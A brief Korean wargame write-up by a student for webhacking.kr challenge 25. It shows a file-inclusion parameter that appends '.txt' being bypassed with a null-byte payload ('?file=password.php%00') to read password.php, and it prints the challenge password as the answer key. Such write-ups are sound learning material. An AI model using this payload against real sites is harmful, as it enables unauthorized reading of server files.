

webhacking.kr 25번문제

Xero

박준혁 (한양대학교 신소재공학부 2학년 군휴학 중)

2016-03-31

Email : wnsgurzxc@naver.com

Facebook : <https://www.facebook.com/wnsgurzxc>

다음과 같이 파일들이 보인다.

password.php를 보면 클리어될 것 같다.

```
합계 12
-rw-r--r-- 1 oldzombie users 12 5월 14 00:57 hello.txt
-rw-r--r-- 1 oldzombie users 1158 9월 5 01:24 index.php
-rw-r--r-- 1 oldzombie users 57 5월 14 00:57 password.php
```

```
hello world
```

주소를 보면 다음과 같이 file으로 hello를 넘겨준다.

?file=hello

그리고 hello world가 출력되는 걸 보면 뒤에 자동으로 .txt를 붙이는 것 같다.

password.php를 읽기 위해서 아래와 같이 %00인 널문자를 이용했다.

?file=password.php%00

위와 같이 입력하면 널문자를 만나 문자열의 끝인 줄 알고 우회가 되고 다음과 같이 답을 알려준다.

```
합계 12
-rw-r--r-- 1 oldzombie users 12 5월 14 00:57 hello.txt
-rw-r--r-- 1 oldzombie users 1158 9월 5 01:24 index.php
-rw-r--r-- 1 oldzombie users 57 5월 14 00:57 password.php
```

```
Challenge 25 password is ~~~~~nullbye2~~~~
```

Auth에 인증하면 클리어된다.



KEY : ~~nullbye2~~